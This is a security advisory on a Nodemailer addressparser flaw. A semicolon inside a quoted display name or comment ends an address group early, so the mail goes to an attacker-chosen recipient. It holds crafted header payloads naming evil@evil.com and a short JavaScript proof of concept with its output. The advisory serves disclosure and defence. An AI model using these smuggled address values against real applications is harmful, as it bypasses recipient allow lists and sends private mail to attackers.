Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient

Vulnerability summary

addressparser ends an RFC 5322 group at the first ;, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. G: (a; <evil@evil.com>) <v@victim.com>; names only v@victim.com, and Nodemailer read it as the single recipient evil@evil.com. Affected: 3.0.0 through 10.1.3.

Attacker capabilities

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.

Realistic exploitation scenario

An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits G: (a; <evil@evil.com>) <v@victim.com>;. The validator sees one mailbox, v@victim.com, and approves it. Nodemailer delivers to evil@evil.com only. The same works through a quoted display name, G: "a;" "<evil@evil.com>" <v@victim.com>;. The boundary crossed is the application's recipient allow list.

Proof of concept

const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]

Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.

The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.

Security impact

Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only a ; outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.